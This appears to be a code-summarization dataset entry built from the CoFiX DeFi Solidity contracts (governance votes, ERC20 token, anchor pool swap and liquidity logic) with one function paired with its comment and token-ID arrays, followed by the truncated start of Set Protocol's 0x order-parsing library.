address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CoFi::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CoFi::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "CoFi::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint)
{
require(blockNumber < block.number, "CoFi::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint delegatorBalance = balanceOf(delegator); // balance of underlying CoFis (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint srcRepNew = srcRepOld - (amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint dstRepNew = dstRepOld + (amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint oldVotes,
uint newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "CoFi::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal view returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File contracts/interfaces/ICoFiXERC20.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
interface ICoFiXERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
// function name() external pure returns (string memory);
// function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
// function DOMAIN_SEPARATOR() external view returns (bytes32);
// function PERMIT_TYPEHASH() external pure returns (bytes32);
// function nonces(address owner) external view returns (uint);
// function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File contracts/CoFiXERC20.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
// ERC20 token implementation, inherited by CoFiXPair contract, no owner or governance
contract CoFiXERC20 is ICoFiXERC20 {
//string public constant nameForDomain = 'CoFiX Pool Token';
uint8 public override constant decimals = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
//bytes32 public override DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)");
//bytes32 public override constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
//mapping(address => uint) public override nonces;
//event Approval(address indexed owner, address indexed spender, uint value);
//event Transfer(address indexed from, address indexed to, uint value);
constructor() {
// uint chainId;
// assembly {
// chainId := chainid()
// }
// DOMAIN_SEPARATOR = keccak256(
// abi.encode(
// keccak256('EIP712Domain(string name,string version,uint chainId,address verifyingContract)'),
// keccak256(bytes(nameForDomain)),
// keccak256(bytes('1')),
// chainId,
// address(this)
// )
// );
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply + (value);
balanceOf[to] = balanceOf[to] + (value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from] - (value);
totalSupply = totalSupply - (value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from] - (value);
balanceOf[to] = balanceOf[to] + (value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) {
allowance[from][msg.sender] = allowance[from][msg.sender] - (value);
}
_transfer(from, to, value);
return true;
}
// function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
// require(deadline >= block.timestamp, 'CERC20: EXPIRED');
// bytes32 digest = keccak256(
// abi.encodePacked(
// '\x19\x01',
// DOMAIN_SEPARATOR,
// keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
// )
// );
// address recoveredAddress = ecrecover(digest, v, r, s);
// require(recoveredAddress != address(0) && recoveredAddress == owner, 'CERC20: INVALID_SIGNATURE');
// _approve(owner, spender, value);
// }
}
// File contracts/CoFiXAnchorToken.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev Anchor pool xtoken
contract CoFiXAnchorToken is CoFiXERC20 {
// Address of anchor pool
address immutable POOL;
// ERC20 - name
string public name;
// ERC20 - symbol
string public symbol;
constructor (
string memory name_,
string memory symbol_,
address pool
) {
name = name_;
symbol = symbol_;
POOL = pool;
}
modifier check() {
require(msg.sender == POOL, "CoFiXAnchorToken: Only for CoFiXAnchorPool");
_;
}
/// @dev Distribute xtoken
/// @param to The address which xtoken distribute to
/// @param amount Amount of xtoken
function mint(
address to,
uint amount
) external check returns (uint) {
_mint(to, amount);
return amount;
}
/// @dev Burn xtoken
/// @param amount Amount of xtoken
function burn(
uint amount
) external {
_burn(msg.sender, amount);
}
}
// File contracts/CoFiXAnchorPool.sol
// GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev Anchor pool
contract CoFiXAnchorPool is CoFiXBase, ICoFiXAnchorPool {
/* ******************************************************************************************
* Note: In order to unify the authorization entry, all transferFrom operations are carried
* out in the CoFiXRouter, and the CoFiXPool needs to be fixed, CoFiXRouter does trust and
* needs to be taken into account when calculating the pool balance before and after rollover
* ******************************************************************************************/
/// @dev Defines the structure of a token channel
struct TokenInfo {
// Address of token
address tokenAddress;
// Base of token (value is 10^decimals)
uint96 base;
// Address of corresponding xtoken
address xtokenAddress;
// Total mined
uint112 _Y;
// Adjusting to a balanced trade size
uint112 _D;
// Last update block
uint32 _lastblock;
}
// Address of CoFiXDAO
address _cofixDAO;
// Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based
uint96 _nt;
// Address of CoFiXRouter
address _cofixRouter;
// Lock flag
bool _locked;
// Trade fee rate, ten thousand points system. 20
uint16 _theta;
// Impact cost threshold
//uint96 _impactCostVOL;
// Array of TokenInfo
TokenInfo[] _tokens;
// Token mapping(token=>tokenInfoIndex)
mapping(address=>uint) _tokenMapping;
// Constructor, in order to support openzeppelin's scalable scheme,
// it's need to move the constructor to the initialize method
constructor () {
}
/// @dev init Initialize
/// @param governance ICoFiXGovernance implementation contract address
/// @param index Index of pool
/// @param tokens Array of token
/// @param bases Array of token base
function init (
address governance,
uint index,
address[] calldata tokens,
uint96[] calldata bases
) external {
super.initialize(governance);
// Traverse the token and initialize the corresponding data
for (uint i = 0; i < tokens.length; ++i) {
addToken(index, tokens[i], bases[i]);
}
}
modifier check() {
require(_cofixRouter == msg.sender, "CoFiXAnchorPool: Only for CoFiXRouter");
require(!_locked, "CoFiXAnchorPool: LOCKED");
_locked = true;
_;
_locked = false;
}
/// @dev Set configuration
/// @param theta Trade fee rate, ten thousand points system. 20
/// @param impactCostVOL Impact cost threshold
/// @param nt Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based
function setConfig(uint16 theta, uint96 impactCostVOL, uint96 nt) external override onlyGovernance {
// Trade fee rate, ten thousand points system. 20
_theta = theta;
// Impact cost threshold
//_impactCostVOL = impactCostVOL;
require(uint(impactCostVOL) == 0, "CoFiXAnchorPool: impactCostVOL must be 0");
// Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based
_nt = nt;
}
/// @dev Get configuration
/// @return theta Trade fee rate, ten thousand points system. 20
/// @return impactCostVOL Impact cost threshold
/// @return nt Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based
function getConfig() external override view returns (uint16 theta, uint96 impactCostVOL, uint96 nt) {
return (_theta, uint96(0), _nt);
}
/// @dev Rewritten in the implementation contract, for load other contract addresses. Call
/// super.update(newGovernance) when overriding, and override method without onlyGovernance
/// @param newGovernance ICoFiXGovernance implementation contract address
function update(address newGovernance) public override {
super.update(newGovernance);
(
,//cofiToken,
,//cofiNode,
_cofixDAO,
_cofixRouter,
,//_cofixController,
//cofixVaultForStaking
) = ICoFiXGovernance(newGovernance).getBuiltinAddress();
}
/// @dev Add token information
/// @param poolIndex Index of pool
/// @param token Target token address
/// @param base Base of token
function addToken(
uint poolIndex,
address token,
uint96 base
) public override onlyGovernance returns (address xtokenAddress) {
TokenInfo storage tokenInfo = _tokens.push();
uint tokenIndex = _tokens.length;
_tokenMapping[token] = tokenIndex;
// Generate name and symbol for token
string memory si = _getAddressStr(poolIndex);
string memory idx = _getAddressStr(tokenIndex);
string memory name = _strConcat(_strConcat(_strConcat("XToken-", si), "-"), idx);
string memory symbol = _strConcat(_strConcat(_strConcat("XT-", si), "-"), idx);
xtokenAddress = address(new CoFiXAnchorToken(name, symbol, address(this)));
tokenInfo.tokenAddress = token;
tokenInfo.xtokenAddress = xtokenAddress;
tokenInfo.base = base;
}
// Transfer token, 0 address means eth
function _transfer(address token, address to, uint value) private {
if (value > 0) {
if (token == address(0)) {
payable(to).transfer(value);
} else {
TransferHelper.safeTransfer(token, to, value);
}
}
}
// Query balance, 0 address means eth
function _balanceOf(address token) private view returns (uint balance) {
if (token == address(0)) {
balance = address(this).balance;
} else {
balance = IERC20(token).balanceOf(address(this));
}
}
/// @dev Add liquidity and mint xtoken
/// @param token Target token address
/// @param to The address to receive xtoken
/// @param amountETH The amount of ETH added to pool. (When pool is AnchorPool, amountETH is 0)
/// @param amountToken The amount of Token added to pool
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return xtoken The liquidity share token address obtained
/// @return liquidity The real liquidity or XToken minted from pool
function mint(
address token,
address to,
uint amountETH,
uint amountToken,
address payback
) external payable override check returns (
address xtoken,
uint liquidity
) {
// 1. Check amount
require(amountETH == 0, "CoFiXAnchorPool: invalid asset ratio");
// 2. Return unnecessary eth
// The token is 0, which means that the ETH is transferred in and the part exceeding
// the amountToken needs to be returned
if (token == address(0)) {
_transfer(address(0), payback, msg.value - amountToken);
}
// If the token is not 0, it means that the token is transferred in and all the
// transferred eth needs to be returned
else if (msg.value > 0) {
payable(payback).transfer(msg.value);
}
// 3. Load tokenInfo
TokenInfo storage tokenInfo = _tokens[_tokenMapping[token] - 1];
xtoken = tokenInfo.xtokenAddress;
uint base = uint(tokenInfo.base);
// 4. Increase xtoken
liquidity = CoFiXAnchorToken(xtoken).mint(to, amountToken * 1 ether / base);
emit Mint(token, to, amountETH, amountToken, liquidity);
// 5. Update mining state
_updateMiningState(tokenInfo, _balanceOf(token) * 1 ether / base, uint(_nt));
}
/// @dev Maker remove liquidity from pool to get ERC20 Token and ETH back (maker burn XToken)
/// @param token The address of ERC20 Token
/// @param to The target address receiving the Token
/// @param liquidity The amount of liquidity (XToken) sent to pool, or the liquidity to remove
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return amountETHOut The real amount of ETH transferred from the pool
/// @return amountTokenOut The real amount of Token transferred from the pool
function burn(
address token,
address to,
uint liquidity,
address payback
) external payable override check returns (
uint amountETHOut,
uint amountTokenOut
) {
// 1. Return unnecessary eth
if (msg.value > 0) {
payable(payback).transfer(msg.value);
}
// 2. Load tokenInfo
TokenInfo storage tokenInfo = _tokens[_tokenMapping[token] - 1];
uint base = uint(tokenInfo.base);
amountTokenOut = liquidity * 1 ether / base;
amountETHOut = 0;
// 3. Destroy xtoken
CoFiXAnchorToken(tokenInfo.xtokenAddress).burn(liquidity);
emit Burn(token, to, liquidity, amountETHOut, amountTokenOut);
// 4. Adjust according to the surplus of the fund pool
_cash(liquidity, token, base, _balanceOf(token), to, address(0));
}
// Transfer with taxes
function _taxes(address token, address to, uint value, address dao) private {
if (dao == address(0)) {
_transfer(token, to, value);
} else {
uint taxes = value >> 1;
if (token == address(0)) {
payable(to).transfer(value - taxes);
ICoFiXDAO(dao).addETHReward { value: taxes } (address(this));
} else {
_transfer(token, to, value - taxes);
_transfer(token, dao, taxes);
}
}
}
// Retrieve the target token according to the share. If the token balance in the fund pool is not enough,
// the current token will be deducted from the maximum balance of the remaining assets
function _cash(uint liquidity, address token, uint base, uint balance, address to, address dao) private {
uint nt = uint(_nt);
while (liquidity > 0) {
// The number of tokens to be paid to the user
uint need = liquidity * base / 1 ether;
// If the balance is enough, the token will be transferred to the user directly and break
TokenInfo storage tokenInfo = _tokens[_tokenMapping[token] - 1];
if (need <= balance) {
_taxes(token, to, need, dao);
_updateMiningState(tokenInfo, (balance - need) * 1 ether / base, nt);
break;
}
// If the balance is not enough, transfer all the balance to the user
_taxes(token, to, balance, dao);
_updateMiningState(tokenInfo, 0, nt);
// After deducting the transferred token, the remaining share
liquidity -= balance * 1 ether / base;
// Traverse the token to find the fund with the largest balance
uint max = 0;
uint length = _tokens.length;
for (uint i = 0; i < length; ++i) {
// Load token
TokenInfo storage ti = _tokens[i];
address ta = ti.tokenAddress;
// The token cannot be the same as the token just processed
if (ta != token) {
// Find the token with the largest balance and update it
uint b = _balanceOf(ta);
uint bs = uint(ti.base);
if (max < b * 1 ether / bs) {
// Update base
base = bs;
// Update balance
balance = b;
// Update token address
token = ta;
// Update max
max = b * 1 ether / bs;
}
}
}
}
}
/// @dev Transfer the excess funds that exceed the total share in the fund pool
function skim() external override {
// 1. Traverse the token, calculate the total number of assets and the total share,
// and find the fund with the largest balance
uint totalBalance = 0;
uint totalShare = 0;
uint max = 0;
uint base;
uint balance;
address token;
uint length = _tokens.length;
for (uint i = 0; i < length; ++i) {
// Load token
TokenInfo storage ti = _tokens[i];
address ta = ti.tokenAddress;
// Find the token with the largest balance and update it
uint b = _balanceOf(ta);
uint bs = uint(ti.base);
uint stdBalance = b * 1 ether / bs;
// Calculate total assets
totalBalance += stdBalance;
// Calculate total share
totalShare += IERC20(ti.xtokenAddress).totalSupply();
if (max < stdBalance) {
// Update base
base = bs;
// Update balance
balance = b;
// Update token address
token = ta;
// Update max
max = stdBalance;
}
}
// 2. Take away the excess funds in the capital pool that exceed the total share
if (totalBalance > totalShare) {
_cash(totalBalance - totalShare, token, base, balance, msg.sender, _cofixDAO);
}
}
/// @dev Swap token
/// @param src Src token address
/// @param dest Dest token address
/// @param amountIn The exact amount of Token a trader want to swap into pool
/// @param to The target address receiving the ETH
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees,
/// and the excess fees will be returned through this address
/// @return amountOut The real amount of ETH transferred out of pool
/// @return mined The amount of CoFi which will be mind by this trade
function swap(
address src,
address dest,
uint amountIn,
address to,
address payback
) external payable override check returns (
uint amountOut,
uint mined
) {
// 1. Return unnecessary eth
// The src is 0, which means that the ETH is transferred in and the part exceeding
// the amountToken needs to be returned
if (src == address(0)) {
_transfer(address(0), payback, msg.value - amountIn);
}
// If src is not 0, it means that the token is transferred in and all the transferred
// eth need to be returned
else if (msg.value > 0) {
payable(payback).transfer(msg.value);
}
// 2. Load tokenInfo
TokenInfo storage tokenInfo0 = _tokens[_tokenMapping[src] - 1];
TokenInfo storage tokenInfo1 = _tokens[_tokenMapping[dest] - 1];
uint base0 = uint(tokenInfo0.base);
uint base1 = uint(tokenInfo1.base);
{
// 3. Calculate the number of tokens exchanged
amountOut = amountIn * base1 / base0;
uint fee = amountOut * uint(_theta) / 10000;
amountOut = amountOut - fee;
// 4. Transfer transaction fee
if (dest == address(0)) {
ICoFiXDAO(_cofixDAO).addETHReward { value: fee } (address(this));
} else {
_transfer(dest, _cofixDAO, fee);
}
}
// 5. Mining logic
uint nt = uint(_nt);
mined = _cofiMint(tokenInfo0, _balanceOf(src) * 1 ether / base0, nt);
mined += _cofiMint(tokenInfo1, (_balanceOf(dest) - amountOut) * 1 ether / base1, nt);
// 6. Transfer token
_transfer(dest, to, amountOut);
}
// Update mining state
function _updateMiningState(TokenInfo storage tokenInfo, uint x, uint nt) private {
// 1. Get total shares
uint L = IERC20(tokenInfo.xtokenAddress).totalSupply();
// 2. Get the current token balance and convert it into the corresponding number of shares
//uint x = _balanceOf(tokenInfo.tokenAddress) * 1 ether / base;
// 3. Calculate and adjust the scale
uint D1 = L > x ? L - x : x - L;
// 4. According to the adjusted scale before and after the transaction, the ore drawing data is calculated
// Y_t=Y_(t-1)+D_(t-1)*n_t*(S_t+1)-Z_t
// Z_t=〖[Y〗_(t-1)+D_(t-1)*n_t*(S_t+1)]* v_t
uint D0 = uint(tokenInfo._D);
// When d0 < D1, the y value also needs to be updated
uint Y = uint(tokenInfo._Y) + D0 * nt * (block.number - uint(tokenInfo._lastblock)) / 1 ether;
// 5. Update ore drawing parameters
tokenInfo._Y = uint112(Y);
tokenInfo._D = uint112(D1);
tokenInfo._lastblock = uint32(block.number);
}
// Calculate CoFi transaction mining related variables and update the corresponding status
function _cofiMint(TokenInfo storage tokenInfo, uint x, uint nt) private returns (uint mined) {
// 1. Get total shares
uint L = IERC20(tokenInfo.xtokenAddress).totalSupply();
// 2. Get the current token balance and convert it into the corresponding number of shares
//uint x = _balanceOf(tokenInfo.tokenAddress) * 1 ether / base;
// 3. Calculate and adjust the scale
uint D1 = L > x ? L - x : x - L;
// 4. According to the adjusted scale before and after the transaction, the ore drawing data is calculated
// Y_t=Y_(t-1)+D_(t-1)*n_t*(S_t+1)-Z_t
// Z_t=〖[Y〗_(t-1)+D_(t-1)*n_t*(S_t+1)]* v_t
uint D0 = uint(tokenInfo._D);
// When d0 < D1, the y value also needs to be updated
uint Y = uint(tokenInfo._Y) + D0 * nt * (block.number - uint(tokenInfo._lastblock)) / 1 ether;
if (D0 > D1) {
mined = Y * (D0 - D1) / D0;
Y = Y - mined;
}
// 5. Update ore drawing parameters
tokenInfo._Y = uint112(Y);
tokenInfo._D = uint112(D1);
tokenInfo._lastblock = uint32(block.number);
}
/// @dev Estimate mining amount
/// @param token Target token address
/// @param newBalance New balance of target token
/// @return mined The amount of CoFi which will be mind by this trade
function estimate(
address token,
uint newBalance
) external view override returns (uint mined) {
TokenInfo storage tokenInfo = _tokens[_tokenMapping[token] - 1];
// 1. Get total shares
uint L = IERC20(tokenInfo.xtokenAddress).totalSupply();
// 2. Get the current token balance and convert it into the corresponding number of shares
uint x = newBalance * 1 ether / uint(tokenInfo.base);
// 3. Calculate and adjust the scale
uint D1 = L > x ? L - x : x - L;
// 4. According to the adjusted scale before and after the transaction, the ore drawing data is calculated
// Y_t=Y_(t-1)+D_(t-1)*n_t*(S_t+1)-Z_t
// Z_t=〖[Y〗_(t-1)+D_(t-1)*n_t*(S_t+1)]* v_t
uint D0 = uint(tokenInfo._D);
if (D0 > D1) {
// When d0 < D1, the y value also needs to be updated
uint Y = uint(tokenInfo._Y) + D0 * uint(_nt) * (block.number - uint(tokenInfo._lastblock)) / 1 ether;
mined = Y * (D0 - D1) / D0;
}
}
/// @dev Gets the token address of the share obtained by the specified token market making
/// @param token Target token address
/// @return If the fund pool supports the specified token, return the token address of the market share
function getXToken(address token) external view override returns (address) {
uint index = _tokenMapping[token];
if (index > 0) {
return _tokens[index - 1].xtokenAddress;
}
return address(0);
}
// from NEST v3.0
function _strConcat(string memory _a, string memory _b) private pure returns (string memory)
{
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ret = new string(_ba.length + _bb.length);
bytes memory bret = bytes(ret);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) {
bret[k++] = _ba[i];
}
for (uint i = 0; i < _bb.length; i++) {
bret[k++] = _bb[i];
}
return string(ret);
}
// Convert number into a string, if less than 4 digits, make up 0 in front, from NEST v3.0
function _getAddressStr(uint iv) private pure returns (string memory)
{
bytes memory buf = new bytes(64);
uint index = 0;
do {
buf[index++] = bytes1(uint8(iv % 10 + 48));
iv /= 10;
} while (iv > 0);
bytes memory str = new bytes(index);
for(uint i = 0; i < index; ++i) {
str[i] = buf[index - i - 1];
}
return string(str);
}
} | Convert number into a string, if less than 4 digits, make up 0 in front, from NEST v3.0 | function _getAddressStr(uint iv) private pure returns (string memory)
{
bytes memory buf = new bytes(64);
uint index = 0;
do {
buf[index++] = bytes1(uint8(iv % 10 + 48));
iv /= 10;
} while (iv > 0);
bytes memory str = new bytes(index);
for(uint i = 0; i < index; ++i) {
str[i] = buf[index - i - 1];
}
return string(str);
}
| 240,643 | [
1,
2723,
1300,
1368,
279,
533,
16,
309,
5242,
2353,
1059,
6815,
16,
1221,
731,
374,
316,
6641,
16,
628,
423,
11027,
331,
23,
18,
20,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
588,
1887,
1585,
12,
11890,
4674,
13,
3238,
16618,
1135,
261,
1080,
3778,
13,
7010,
565,
288,
203,
3639,
1731,
3778,
1681,
273,
394,
1731,
12,
1105,
1769,
203,
3639,
2254,
770,
273,
374,
31,
203,
3639,
741,
288,
203,
5411,
1681,
63,
1615,
9904,
65,
273,
1731,
21,
12,
11890,
28,
12,
427,
738,
1728,
397,
9934,
10019,
203,
5411,
4674,
9531,
1728,
31,
203,
3639,
289,
1323,
261,
427,
405,
374,
1769,
203,
3639,
1731,
3778,
609,
273,
394,
1731,
12,
1615,
1769,
203,
3639,
364,
12,
11890,
277,
273,
374,
31,
277,
411,
770,
31,
965,
77,
13,
288,
203,
5411,
609,
63,
77,
65,
273,
1681,
63,
1615,
300,
277,
300,
404,
15533,
203,
3639,
289,
203,
3639,
327,
533,
12,
701,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright 2018 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.4.24;
pragma experimental "ABIEncoderV2";
import { SafeMath } from "zeppelin-solidity/contracts/math/SafeMath.sol";
import { LibBytes } from "../../../external/0x/LibBytes.sol";
import { LibOrder } from "../../../external/0x/Exchange/libs/LibOrder.sol";
/**
* @title ZeroExOrderDataHandler
* @author Set Protocol
*
* This library contains functions and structs to assist with parsing 0x wrapper order data
*
* The layout of each wrapper order is in the table below. "ordersData" always refers to one or more byte strings,
* each containing all of these columns concatenated together. Each of the parse methods (header/body) below takes
* the entire ordersData along with an offset to parse the next (header/body) specified by the offset. This saves
* from having to do redudant memCopies to isolate the bytes containing the data to parse.
*
* | Section | Data | Offset | Length | Contents |
* |---------|-----------------------|---------------------|-----------------|-------------------------------|
* | Header | signatureLength | 0 | 32 | Num Bytes of 0x Signature |
* | | orderLength | 32 | 32 | Num Bytes of 0x Order |
* | | makerAssetDataLength | 64 | 32 | Num Bytes of maker asset data |
* | | takerAssetDataLength | 96 | 32 | Num Bytes of taker asset data |
* | | fillAmount | 128 | 32 | taker asset fill amouint |
* | Body | signature | 160 | signatureLength | signature in bytes |
* | | order | 160+signatureLength | orderLength | ZeroEx Order |
*/
library ZeroExOrderDataHandler {
using LibBytes for bytes;
using SafeMath for uint256;
// ============ Constants ============
bytes4 constant ERC20_SELECTOR = bytes4(keccak256("ERC20Token(address)"));
// ============ Structs ============
struct OrderHeader {
uint256 signatureLength;
uint256 orderLength;
uint256 makerAssetDataLength;
uint256 takerAssetDataLength;
uint256 fillAmount;
}
struct AssetDataAddresses {
address makerTokenAddress;
address takerTokenAddress;
}
// ============ Internal Functions ============
/**
* Parse token address from asset data
*
* @param _assetData Encoded asset data
* @return address Address of ERC20 asset address
*/
function parseERC20TokenAddress(
bytes _assetData
)
internal
pure
returns(address)
{
// Ensure that the asset is ERC20
require(_assetData.readBytes4(0) == ERC20_SELECTOR);
// Return address
return address(_assetData.readBytes32(4));
}
/*
* Parses the header from order byte array
* Can only be called by authorized contracts.
*
* @param _ordersData Byte array of order data
* @param _offset Offset to start scanning for order header
* @return OrderHeader Struct containing wrapper order header data
*/
function parseOrderHeader(
bytes _ordersData,
uint256 _offset
)
internal
pure
returns (OrderHeader)
{
OrderHeader memory header;
uint256 orderDataStart = _ordersData.contentAddress().add(_offset);
assembly {
mstore(header, mload(orderDataStart)) // signatureLength
mstore(add(header, 32), mload(add(orderDataStart, 32))) // orderLength
mstore(add(header, 64), mload(add(orderDataStart, 64))) // makerAssetDataLength
mstore(add(header, 96), mload(add(orderDataStart, 96))) // takerAssetDataLength
